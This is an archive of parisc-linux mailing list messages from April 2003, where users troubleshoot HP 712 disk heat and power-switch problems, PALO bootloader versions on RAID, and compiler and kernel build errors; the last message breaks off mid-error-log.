	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  2 01:36:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiscom.nl (unknown [130.78.143.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A51C4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Apr 2003 01:36:16 -0700 (MST)
Original-Received: by ns.hiscom.nl id <119062>; Wed, 2 Apr 2003 10:54:46 +0200
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18152

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C2F8F2.E11ACFC0
Content-Type: text/plain;
	charset="iso-8859-1"

> -----Original Message-----
> From: Joel Soete [mailto:jsoe0708@tiscali.be]
> 
> >
> >The only thing unusual about the setup is that I replaced the old 500mb
HP
> >hard drive with a 4.5gig IBM drive with a 68pin-50pin converter.
> >
> Hmm it is highly probable.
> 
> Four years ago, for a project of upgrade 712 workstation, we asked to HP
> if it was possible to put internal (SE) 4Gb disk. HP said that it was only
> supported on 712/100.

The only reason I can imagine it should not work is addressing the
boot-image from the boot-prom.

Or else, it should not be called scsi...

> 
> Later, I had the opportunity to test Linux on a old 4Gb (SE) external disk
> with an old 712/60. (Even thought it was the very begining, it still works
> fine and help me a lot). Then I remember that 'not supported' didn' t
means
> that it would not works. So I removed this disk from its enclosure and put
> it into the workstation. Well it works but not for a long time: apparently
> it warmed too much  but fortunately not too long time (so I can put it
back
> in its original enclosure and continu to work). So there are an actual
problem
> of heat exchange in this small box?

When you look inside a 712, you should expect heat problems with the drive.
Its mounted in polysterene foam, also known for its perfect heat
insulation...

Hence, if you expect or experience heat problems in a 712, you can remove
the insulation and create real mounting brackets.


btw: all my ideas, not physically tested.

CBee

------_=_NextPart_001_01C2F8F2.E11ACFC0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.45">
<TITLE>RE: [parisc-linux] soft power and power light on 712/60</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Joel Soete [<A =
HREF=3D"mailto:jsoe0708@tiscali.be">mailto:jsoe0708@tiscali.be</A>]</FON=
T>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;The only thing unusual about the setup is =
that I replaced the old 500mb HP</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;hard drive with a 4.5gig IBM drive with a =
68pin-50pin converter.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; Hmm it is highly probable.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Four years ago, for a project of upgrade 712 =
workstation, we asked to HP</FONT>
<BR><FONT SIZE=3D2>&gt; if it was possible to put internal (SE) 4Gb =
disk. HP said that it was only</FONT>
<BR><FONT SIZE=3D2>&gt; supported on 712/100.</FONT>
</P>

<P><FONT SIZE=3D2>The only reason I can imagine it should not work is =
addressing the boot-image from the boot-prom.</FONT>
</P>

<P><FONT SIZE=3D2>Or else, it should not be called scsi...</FONT>
</P>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Later, I had the opportunity to test Linux on a =
old 4Gb (SE) external disk</FONT>
<BR><FONT SIZE=3D2>&gt; with an old 712/60. (Even thought it was the =
very begining, it still works</FONT>
<BR><FONT SIZE=3D2>&gt; fine and help me a lot). Then I remember that =
'not supported' didn' t means</FONT>
<BR><FONT SIZE=3D2>&gt; that it would not works. So I removed this disk =
from its enclosure and put</FONT>
<BR><FONT SIZE=3D2>&gt; it into the workstation. Well it works but not =
for a long time: apparently</FONT>
<BR><FONT SIZE=3D2>&gt; it warmed too much&nbsp; but fortunately not =
too long time (so I can put it back</FONT>
<BR><FONT SIZE=3D2>&gt; in its original enclosure and continu to work). =
So there are an actual problem</FONT>
<BR><FONT SIZE=3D2>&gt; of heat exchange in this small box?</FONT>
</P>

<P><FONT SIZE=3D2>When you look inside a 712, you should expect heat =
problems with the drive. Its mounted in polysterene foam, also known =
for its perfect heat insulation...</FONT></P>

<P><FONT SIZE=3D2>Hence, if you expect or experience heat problems in a =
712, you can remove the insulation and create real mounting =
brackets.</FONT></P>
<BR>

<P><FONT SIZE=3D2>btw: all my ideas, not physically tested.</FONT>
</P>

<P><FONT SIZE=3D2>CBee</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C2F8F2.E11ACFC0--


From - Thu Nov 08 21:27:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: c++/10274: internal compiler error:
Date: Wed, 2 Apr 2003 10:49:33 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <3E842746000029B7@ocpmta2.freegates.net>
References: <20030331100601.17585.qmail@sources.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622354 24081 80.91.229.3 (22 Nov 2014 02:12:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: gcc-gnats@gcc.gnu.org, nobody@gcc.gnu.org, joel.soete@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  2 01:49:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D2FC484C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Apr 2003 01:49:35 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 190dw5-0000iD-00; Wed, 02 Apr 2003 10:49:33 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 2 Apr 2003 10:49:33 +0200
In-Reply-To: <20030331100601.17585.qmail@sources.redhat.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18153

>>Category:       c++
>>Responsible:    unassigned
>>Synopsis:       internal compiler error:
>>Arrival-Date:   Mon Mar 31 10:06:01 UTC 2003

Just a small update:

The new precompiled g++ is now 3.3 20030331 and the error message become:
...
/tmp/ccJws8Pa.s: Assembler messages:
/tmp/ccJws8Pa.s:151786: Error: Field out of range [-262144..262143] (-290552).

Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Wood <mwood@its.uct.ac.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] soft power and power light on 712/60
Date: Wed, 2 Apr 2003 11:23:52 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20030402092352.GA10035@marmite.its.uct.ac.za>
References: <se89551b.093@internal.us.fortis.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622354 24085 80.91.229.3 (22 Nov 2014 02:12:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Derek Ellis <Derek.Ellis@us.fortis.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  2 02:24:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.uct.ac.za (mail.uct.ac.za [137.158.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 325CE4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Apr 2003 02:24:17 -0700 (MST)
Original-Received: from marmite.its.uct.ac.za ([137.158.26.155])
	by mail.uct.ac.za with esmtp (Exim 3.35 #1)
	id 190eTU-0008uP-00; Wed, 02 Apr 2003 11:24:04 +0200
Original-Received: by marmite.its.uct.ac.za (Postfix, from userid 1000)
	id 1E7381A32F; Wed,  2 Apr 2003 11:23:52 +0200 (SAST)
Mail-Followup-To: Michael Wood <mwood@its.uct.ac.za>,
	Derek Ellis <Derek.Ellis@us.fortis.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <se89551b.093@internal.us.fortis.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18154

On Tue, Apr 01, 2003 at 08:59:43AM -0600, Derek Ellis wrote:
> Hello,
> 
> I have sort of a weird problem.  I installed Debian 3.0 on Sunday and
> it came up great on my 712/60.  The only problem is the soft-power
> switch doesn't work and the power light flashes while searching for
> the boot device and then goes off once it starts booting.  

I don't know about the light, but a kernel upgrade might help the
switch.  Earlier kernels did not enable the power switch.  Not sure
which version made it work (although I thought the kernel on the Debian
3.0 CDs supported it.)  I haven't had a chance to run parisc linux for a
while, unfortunately, and the D270 I was using did nothing when the
power switch was switched, although the kernel I was running was
supposed to enable it, so maybe the kernel doesn't enable it for all
parisc machines?  (The switch did work in HPUX and I think it even
worked at some point in Linux and later stopped.)

-- 
Michael Wood <mwood@its.uct.ac.za>


From - Thu Nov 08 21:27:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: root@cdc712-9.cdc.polimi.it (root)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] soft power and power light on 712/60
Date: Wed, 2 Apr 2003 13:38:22 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <20030402113822.GB3363@cdc712-9.cdc.polimi.it>
References: <se89551b.093@internal.us.fortis.com> <20030402092352.GA10035@marmite.its.uct.ac.za>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622354 24087 80.91.229.3 (22 Nov 2014 02:12:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Michael Wood <mwood@its.uct.ac.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  2 04:39:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cdc712-9.cdc.polimi.it (cdc712-9.cdc.polimi.it [131.175.7.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id BB6F84829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Apr 2003 04:39:01 -0700 (MST)
Original-Received: by cdc712-9.cdc.polimi.it
	via sendmail from stdin
	id <m190gZS-00049lC@cdc712-9.cdc.polimi.it> (Debian Smail3.2.0.114)
	Wed, 2 Apr 2003 13:38:22 +0200 (CEST) 
Content-Disposition: inline
In-Reply-To: <20030402092352.GA10035@marmite.its.uct.ac.za>
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18155

On Wed, Apr 02, 2003 at 11:23:52AM +0200, Michael Wood wrote:
> On Tue, Apr 01, 2003 at 08:59:43AM -0600, Derek Ellis wrote:

I've got a problem similar to yours with my 712-60 using 2.4.20-pa32
precompiled. The power light while searching for a suitable boot
media (as it should), then goes on as expected. The power switch does not
work. With earlier kernels (say 2.4.9-something) it worked. Any advice on
that ?


> > Hello,
> > 
> > I have sort of a weird problem.  I installed Debian 3.0 on Sunday and
> > it came up great on my 712/60.  The only problem is the soft-power
> > switch doesn't work and the power light flashes while searching for
> > the boot device and then goes off once it starts booting.  
> 
> -- 
> Michael Wood <mwood@its.uct.ac.za>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


From - Thu Nov 08 21:27:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] RAID issues on my C3000
Date: Wed, 2 Apr 2003 06:18:41 -0800 (PST)
Lines: 65
Approved: news@gmane.org
Message-ID: <20030402141841.79074.qmail@web12501.mail.yahoo.com>
References: <3E842746000028D3@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-1071073824-1049293121=:78102"
X-Trace: ger.gmane.org 1416622355 24095 80.91.229.3 (22 Nov 2014 02:12:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:35 +0000 (UTC)
To: Joel Soete <jsoe0708@tiscali.be>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  2 07:18:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12501.mail.yahoo.com (web12501.mail.yahoo.com [216.136.173.193])
	by dsl2.external.hp.com (Postfix) with SMTP id D01B04829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Apr 2003 07:18:41 -0700 (MST)
Original-Received: from [12.24.253.152] by web12501.mail.yahoo.com via HTTP; Wed, 02 Apr 2003 06:18:41 PST
In-Reply-To: <3E842746000028D3@ocpmta2.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18156

--0-1071073824-1049293121=:78102
Content-Type: text/plain; charset=us-ascii


I just ran the version of PALO on my root disk and it does say 1.2.  That was my original problem....
derek
 Joel Soete <jsoe0708@tiscali.be> wrote:
>
>Hey all,
>I was just following the RAID HOWTO posted awile back and I ran into a few
>problems.

I do also for at least 3 of my b180 and it works fine :)


> I've gotten all the way through creating my RAID partitions and
>copying the data over via tar, making it bootable (after upgrading my PALO
>from source - it is now 1.2), editing all the files on the new md devices,
>and then rebooting. When I try to boot from the new degraded RAID disk
I
>get that the device is hard booted (with PALO 1.0 not 1.2), displays my
patition
>info (but displays the partitions as "unknown" and not RAID probably due
>to the Palo 1.0 version), and spits out "Selected kernal: /vmlinux from
partition
>2" then "Error: Partition 2 must be ext2".

This is typicaly the message from palo < 1.2 (I also encounter this same
message before figuring out that I forget to update palo on my actual root
disk).
So on your non-raid disk install the last palo dpkg (1.2) (I do it without
pb on a woody pre-libc 2.3.0).
[check the version with palo -? | grep version (must be now 1.2)]
relaunch:
# palo -f YourPathToNew/palo.conf -I YourRaidDIsk

It works for me and hope for you too.

Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




---------------------------------
Do you Yahoo!?
Yahoo! Tax Center - File online, calculators, forms, and more
--0-1071073824-1049293121=:78102
Content-Type: text/html; charset=us-ascii

<P>I just ran the version of PALO on my root disk and it does say 1.2.&nbsp; That was my original problem....
<P>derek
<P>&nbsp;<B><I>Joel Soete &lt;jsoe0708@tiscali.be&gt;</I></B> wrote:
<BLOCKQUOTE style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px solid"><BR>&gt;<BR>&gt;Hey all,<BR>&gt;I was just following the RAID HOWTO posted awile back and I ran into a few<BR>&gt;problems.<BR><BR>I do also for at least 3 of my b180 and it works fine :)<BR><BR><BR>&gt; I've gotten all the way through creating my RAID partitions and<BR>&gt;copying the data over via tar, making it bootable (after upgrading my PALO<BR>&gt;from source - it is now 1.2), editing all the files on the new md devices,<BR>&gt;and then rebooting. When I try to boot from the new degraded RAID disk<BR>I<BR>&gt;get that the device is hard booted (with PALO 1.0 not 1.2), displays my<BR>patition<BR>&gt;info (but displays the partitions as "unknown" and not RAID probably due<BR>&gt;to the Palo 1.0 ver
 sion), and spits out "Selected kernal: /vmlinux from<BR>partition<BR>&gt;2" then "Error: Partition 2 must be ext2".<BR><BR>This is typicaly the message from palo &lt; 1.2 (I also encounter this same<BR>message before figuring out that I forget to update palo on my actual root<BR>disk).<BR>So on your non-raid disk install the last palo dpkg (1.2) (I do it without<BR>pb on a woody pre-libc 2.3.0).<BR>[check the version with palo -? | grep version (must be now 1.2)]<BR>relaunch:<BR># palo -f YourPathToNew/palo.conf -I YourRaidDIsk<BR><BR>It works for me and hope for you too.<BR><BR>Joel<BR><BR><BR>---------------------------------<BR>Vous surfez avec une ligne classique ?<BR>Economisez jusqu' 25% avec Tiscali Complete !<BR>Offre spciale : premire anne d'abonnement offerte.<BR>... Plus d
 'info sur http://complete.tiscali.be<BR><BR></BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://us.rd.yahoo.com/finance/mailsig/*http://tax.yahoo.com">Yahoo! Tax Center</a> - File online, calculators, forms, and more
--0-1071073824-1049293121=:78102--


From - Thu Nov 08 21:27:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Derek Ellis" <Derek.Ellis@us.fortis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] soft power and power light on 712/60
Date: Wed, 02 Apr 2003 09:16:05 -0600
Lines: 54
Approved: news@gmane.org
Message-ID: <se8aaa7f.074@internal.us.fortis.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622355 24096 80.91.229.3 (22 Nov 2014 02:12:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:35 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  2 08:16:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from u1snd02p.us.fortis.com (smtp02p.us.fortis.com [167.79.54.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B1DA4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Apr 2003 08:16:49 -0700 (MST)
Original-Received: from W1PMM02.us.fortis.com (twbymime02.us.fortis.com [165.245.9.58])
	by u1snd02p.us.fortis.com (8.11.6+Sun/8.11.6) with ESMTP id h32FGl801422
	for <parisc-linux@lists.parisc-linux.org>; Wed, 2 Apr 2003 09:16:48 -0600 (CST)
Original-Received: from internal.us.fortis.com (Not Verified[165.245.4.198]) by W1PMM02.us.fortis.com with MailMarshal (v5,0,3,71)
	id <BB0036b9cc>; Wed, 02 Apr 2003 09:16:47 -0600
Original-Received: from FITGATE1-Message_Server by internal.us.fortis.com
	with Novell_GroupWise; Wed, 02 Apr 2003 09:16:47 -0600
X-Mailer: Novell GroupWise Internet Agent 5.5.6.1
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18157

I wonder if the problem is with the precompiled 2.4.20-pa32 kernel, since=
=20that is what I am using.

Last night I also put my old 500MB HP drive back in and the light & power=
=20switch worked correctly with the 2.4.18 kernel.  I then used the netwo=
rk install CD (with kernel 2.4.20-pa32) to reinstall that drive.  After t=
he install the light & power didn't work, so this leads me to believe the=
re is something with that kernel.

Derek

>>> root <root@cdc712-9.cdc.polimi.it> 04/02/03 05:38AM >>>
On Wed, Apr 02, 2003 at 11:23:52AM +0200, Michael Wood wrote:
> On Tue, Apr 01, 2003 at 08:59:43AM -0600, Derek Ellis wrote:

I've got a problem similar to yours with my 712-60 using 2.4.20-pa32
precompiled. The power light while searching for a suitable boot
media (as it should), then goes on as expected. The power switch does not=

work. With earlier kernels (say 2.4.9-something) it worked. Any advice on=

that ?


> > Hello,
> >=20
> > I have sort of a weird problem.  I installed Debian 3.0 on Sunday and=

> > it came up great on my 712/60.  The only problem is the soft-power
> > switch doesn't work and the power light flashes while searching for
> > the boot device and then goes off once it starts booting. =20
>=20
> --=20
> Michael Wood <mwood@its.uct.ac.za>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org=20
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux=20
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org=20
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

****************************************************************
=09		Please Note
The information in this E-mail message is legally privileged
and confidential information intended only for the use of the
individual(s) named above. If you, the reader of this message,
are not the intended recipient, you are hereby notified that=20
you should not further disseminate, distribute, or forward this
E-mail message. If you have received this E-mail in error,
please notify the sender. Thank you
*****************************************************************


From - Thu Nov 08 21:27:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ricardo Jose Guevara Ochoa" <jguevara@unitec.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel 2.4.20 build error
Date: Wed, 02 Apr 2003 16:23:10 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <26c4b36317a73ee1.17a73ee126c4b363@unitec.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622355 24097 80.91.229.3 (22 Nov 2014 02:12:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  2 15:33:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.unitec.edu (mail.unitec.edu [216.72.84.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE2434829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Apr 2003 15:32:59 -0700 (MST)
Original-Received: from unitec.edu ([127.0.0.1]) by mail.unitec.edu
          (Netscape Messaging Server 4.15) with ESMTP id HCQM6M00.HNM for
          <parisc-linux@lists.parisc-linux.org>; Wed, 2 Apr 2003 16:23:10 -0600 
X-Mailer: Netscape Webmail
Content-Language: en
X-Accept-Language: en
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18158

I downloaded the latest kernel for the parisc family, and when i tried 
to compile and build the kernel it gave me an error in the make 
vmlinux:
ccio-dma.c: In function `ccio_probe':
ccio-dma.c:1551: `ccio_proc_info' undeclared (first use in this 
function)
ccio-dma.c:1551: (Each undeclared identifier is reported only once
ccio-dma.c:1551: for each function it appears in.)
ccio-dma.c:1553: `ccio_resource_map' undeclared (first use in this 
function)
make[1]: *** [ccio-dma.o] Error 1
make[1]: Leaving directory 
